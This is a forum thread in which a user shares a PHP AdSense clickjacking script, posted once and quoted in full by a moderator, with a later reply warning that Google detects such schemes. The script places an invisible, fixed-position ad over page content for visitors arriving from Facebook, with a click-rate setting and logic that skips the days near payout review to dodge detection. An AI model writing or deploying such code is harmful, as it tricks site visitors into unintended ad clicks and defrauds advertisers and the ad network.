Adsense clickjacking script written in PHP has CTR control and facebook referer

Zaidi

Well-known member
Trusted Uploader
Aug 5, 2018
149
242
63
This script has ctr control, control possible days of review by google, and facebook referer.

I found this script on another forum but don't understand how to use this. You can try at your own risk and give me your feedback also. If this works for you please let me know and share method to use this thanks a lot
smile.png

PHP:
<?php

// Desactivar las 3 condiciones

$demo = true;

// CondiciÛn 1 - Mostrar a usuarios que llegan de Facebook

$referer = $_SERVER['HTTP_REFERER'];

$referer=str_replace("http://", "", $referer);

$referer=str_replace("https://", "", $referer);

$referer=str_replace("www.", "", $referer);

$pieces2 = explode("/", $referer);

$referer=$pieces2[0];

if($referer == 'facebook.com') { $filtro1="si"; } else { $filtro1="no"; }

// CondiciÛn 2 - Control de CTR

if($filtro1=="si") {

$porcentaje = 100;

if(rand(0,100) <= $porcentaje){

$filtro2="si";

}else{

$filtro2="no";

}

}

// CondiciÛn 3 - No ejecutar script oculto si son dÌas cercanos al cobro

if(($filtro1=="si") && ($filtro2=="si")) {

$dia=date("d");

if(($dia=="18") ||

($dia=="19") ||

($dia=="20") ||

($dia=="21") ||

($dia=="22") ||

($dia=="23") ||

($dia=="24") ||

($dia=="25")) { $filtro3="no"; } else { $filtro3="si"; }

}

$codigoAdsense= '<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>

<!-- ************************* -->

<ins class="adsbygoogle"

style="display:inline-block;width:336px;height:280px"

data-ad-client="ca-pub-*************"

data-ad-slot="**************"></ins>

<script>

(adsbygoogle = window.adsbygoogle || []).push({});

</script>';

$estilo="<style>

#flotante {

width: 410px;

height: 310px;

top: 39%;

left: 22%;

position: fixed;

;

z-index:999;

opacity: 0;

}

</style>";

if(($filtro1=="si") && ($filtro2=="si") && ($filtro3=="si") || ( $demo == true )) {

echo $estilo;

echo "<div id=\"flotante\">";

echo $codigoAdsense;

echo "</div>";

echo "</div>";

} else {

} ?>




Don't forget to give me your feedback guys have fun
 
  • Like
Reactions: mlm

tanierlyons

Well-known member
Staff member
Administrative
Moderator
May 24, 2018
75,065
111,714
120
@
This script has ctr control, control possible days of review by google, and facebook referer.

I found this script on another forum but don't understand how to use this. You can try at your own risk and give me your feedback also. If this works for you please let me know and share method to use this thanks a lot
smile.png

PHP:
<?php

// Desactivar las 3 condiciones

$demo = true;

// CondiciÛn 1 - Mostrar a usuarios que llegan de Facebook

$referer = $_SERVER['HTTP_REFERER'];

$referer=str_replace("http://", "", $referer);

$referer=str_replace("https://", "", $referer);

$referer=str_replace("www.", "", $referer);

$pieces2 = explode("/", $referer);

$referer=$pieces2[0];

if($referer == 'facebook.com') { $filtro1="si"; } else { $filtro1="no"; }

// CondiciÛn 2 - Control de CTR

if($filtro1=="si") {

$porcentaje = 100;

if(rand(0,100) <= $porcentaje){

$filtro2="si";

}else{

$filtro2="no";

}

}

// CondiciÛn 3 - No ejecutar script oculto si son dÌas cercanos al cobro

if(($filtro1=="si") && ($filtro2=="si")) {

$dia=date("d");

if(($dia=="18") ||

($dia=="19") ||

($dia=="20") ||

($dia=="21") ||

($dia=="22") ||

($dia=="23") ||

($dia=="24") ||

($dia=="25")) { $filtro3="no"; } else { $filtro3="si"; }

}

$codigoAdsense= '<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>

<!-- ************************* -->

<ins class="adsbygoogle"

style="display:inline-block;width:336px;height:280px"

data-ad-client="ca-pub-*************"

data-ad-slot="**************"></ins>

<script>

(adsbygoogle = window.adsbygoogle || []).push({});

</script>';

$estilo="<style>

#flotante {

width: 410px;

height: 310px;

top: 39%;

left: 22%;

position: fixed;

;

z-index:999;

opacity: 0;

}

</style>";

if(($filtro1=="si") && ($filtro2=="si") && ($filtro3=="si") || ( $demo == true )) {

echo $estilo;

echo "<div id=\"flotante\">";

echo $codigoAdsense;

echo "</div>";

echo "</div>";

} else {

} ?>




Don't forget to give me your feedback guys have fun

Please let me know detail your ideas. thanks
 

Zaidi

Well-known member
Trusted Uploader
Aug 5, 2018
149
242
63
All I want is that how to insert this script in a wordpress website and control ctr because its not written by me and I am not a programmer
 

mlm

Active member
Mar 8, 2021
106
34
28
Bulgaria
Everyone wants to screw Google, but it can't be done. Even if it works, within two minutes they will catch the offender, and there will be consequences for his account. Believe me, I have tried all kinds of methods and ways, none of them successful, because Google is not stupid. :D

Edit: For a high CTR, you can simply put more quality, unique and easily accessible content on your site. I don't know who your site is, but try the legal way anyway before you risk your account (not that you can't make another one). Yes, it takes a long time to create something that users visit every day and attract more and more people. But still, this is the surest way to success. Any other method gives you a 90% chance of failure.

That's all I can say on the subject :)
 
Last edited:

Latest posts

Forum statistics

Threads
69,228
Messages
908,447
Members
237,061
Latest member
itachii

About us

  • Our community has been around for many years and pride ourselves on offering unbiased, critical discussion among people of all different backgrounds. We are working every day to make sure our community is one of the best.

Quick Navigation

User Menu